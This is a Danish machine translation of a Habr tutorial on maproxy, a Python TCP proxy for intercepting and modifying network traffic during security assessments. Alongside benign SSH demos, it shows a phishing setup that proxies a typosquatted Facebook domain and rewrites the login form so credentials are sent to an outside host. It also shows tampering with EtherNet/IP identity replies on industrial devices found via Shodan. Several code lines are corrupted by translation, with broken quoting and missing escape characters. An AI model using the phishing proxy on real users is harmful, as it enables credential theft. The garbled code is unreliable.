Oversættelsen af artiklen blev udarbejdet på tærsklen til kursets start
abstrakt
En række forskellige typer sikkerhedsvurderinger, lige fra almindelige penetrationstests og Red Team-operationer til hacking af IoT/ICS-enheder og SCADA, involverer arbejde med binære netværksprotokoller, det vil sige i det væsentlige at opsnappe og ændre netværksdata mellem klienten og målet. At sniffe netværkstrafik er ikke en vanskelig opgave, da vi har værktøjer som Wireshark, Tcpdump eller Scapy, men modifikation ser ud til at være en mere arbejdskrævende opgave, da vi bliver nødt til at have en form for grænseflade til at læse netværksdataene, filtrere dem, ændre dem. det på farten og sende det tilbage til målværten i næsten realtid. Derudover ville det være ideelt, hvis et sådant værktøj automatisk kunne arbejde med flere parallelle forbindelser og kunne tilpasses ved hjælp af scripts.
En dag opdagede jeg et værktøj kaldet
, dokumentationen gjorde det hurtigt klart for mig maproxy
– lige hvad jeg har brug for. Dette er en ret simpel, alsidig og let konfigurerbar TCP-proxy. Jeg testede dette værktøj på flere ret komplekse applikationer, inklusive ICS-enheder (som genererer mange pakker) for at se, om det kunne håndtere mange parallelle forbindelser, og værktøjet fungerede godt.
Denne artikel vil introducere dig til at behandle netværksdata på farten ved hjælp af maproxy
.
Anmeldelse
Tool maproxy
er baseret på Tornado, en populær og moden asynkron netværksramme i Python.
Generelt kan den fungere i flere tilstande:
TCP:TCP
– ukrypterede TCP-forbindelser;TCP:SSL
иSSL:TCP
– med envejskryptering;SSL:SSL
– to-vejs kryptering.
Det kommer som et bibliotek. For en hurtig start kan du bruge eksempelfiler, der afspejler det vigtigste
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Case 1 – simpel tovejs proxy
Baseret på tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Som standard ProxyServer()
tager to argumenter - forbindelsesplaceringen og målporten. server.listen()
tager et argument - porten til at lytte til den indgående forbindelse.
Udførelse af scriptet:
# python tcp2tcp.py
For at køre testen skal vi oprette forbindelse til en lokal SSH-server gennem vores proxy-script, som lytter på 2222/tcp
port og tilsluttes en standardport 22/tcp
SSH-servere:
Velkomstbanneret informerer dig om, at vores eksempelscript har proxyiseret netværkstrafik.
Case 2 – dataændring
Endnu et demo-script logging_proxy.py
ideel til interaktion med netværksdata. Kommentarerne i filen beskriver de klassemetoder, som du kan ændre for at nå dit mål:
Det mest interessante er her:
on_c2p_done_read
– at opsnappe data undervejs fra klienten til serveren;on_p2s_done_read
- omvendt.
Lad os prøve at ændre SSH-banneret, som serveren returnerer til klienten:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Udfør scriptet:
Som du kan se, blev klienten vildledt, fordi SSH-servernavnet for ham blev ændret til «DumnySSH»
.
Case 3 – simpel phishing-webside
Der er uendelige måder at bruge dette værktøj på. Lad os denne gang fokusere på noget mere praktisk fra Red Team operations side. Lad os efterligne landingssiden m.facebook.com
og brug et brugerdefineret domæne med en bevidst tastefejl, f.eks. m.facebok.com
. Til demonstrationsformål, lad os bare antage, at domænet er registreret af os.
Vi vil etablere en ukrypteret netværksforbindelse med vores ofres proxy og SSL Stream til Facebook-serveren (31.13.81.36
). For at få dette eksempel til at fungere, skal vi erstatte HTTP-værtsheaderen og indsætte det korrekte værtsnavn, og vi vil også deaktivere svarkomprimering, så vi nemt kan få adgang til indholdet. I sidste ende vil vi erstatte HTML-formularen, så loginoplysningerne sendes til os i stedet for Facebooks servere:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/da/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Sammenfattende:
Som du kan se, var vi i stand til at erstatte det originale websted.
Tilfælde 4 – Portering af Ethernet/IP
Jeg har beskæftiget mig med industrielle enheder og software (ICS/SCADA) i et stykke tid, såsom programmerbare controllere (PLC), I/O-moduler, drev, relæer, stigeprogrammeringsmiljøer og mange flere. Denne sag er for dem, der kan lide industrielle ting. Hacking af sådanne løsninger involverer aktivt at lege med netværksprotokoller. I det følgende eksempel vil jeg gerne vise, hvordan du kan ændre ICS/SCADA-netværkstrafikken.
For at gøre dette skal du bruge følgende:
- Netværkssniffer, for eksempel Wireshark;
- Ethernet/IP eller bare en SIP-enhed, du kan finde den ved hjælp af Shodan-tjenesten;
- Vores manuskript er baseret på
maproxy
.
Lad os først se på, hvordan et typisk identifikationssvar fra CIP (Common Industrial Protocol) ser ud:
Enhedsidentifikation udføres ved hjælp af Ethernet/IP-protokollen, som er en forbedret version af den industrielle Ethernet-protokol, der omslutter kontrolprotokoller såsom CIP. Vi vil ændre det fremhævede ID-navn, som er synligt på skærmbilledet "NI-IndComm for Ethernet" ved hjælp af vores proxy-script. Vi kunne genbruge scriptet logging_proxy.py
og tilsvarende ændre klassemetoden on_p2s_done_read
, fordi vi ønsker, at et andet identitetsnavn skal være synligt på klienten.
Code:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Grundlæggende bad vi om enhedsidentifikation to gange, det andet svar var det originale, og det første blev ændret på et øjeblik.
Og den sidste
Efter min mening maproxy
Et praktisk og enkelt værktøj, som også er skrevet i Python, så jeg tror på, at du også kan drage fordel af at bruge det. Selvfølgelig er der mere komplekse værktøjer til at behandle og ændre netværksdata, men de kræver også mere opmærksomhed og er normalt skabt til en specifik use case, f.eks. maproxy
du kan hurtigt implementere dine ideer til at opsnappe netværksdata, da eksempelscripts er meget klare.
Kilde: www.habr.com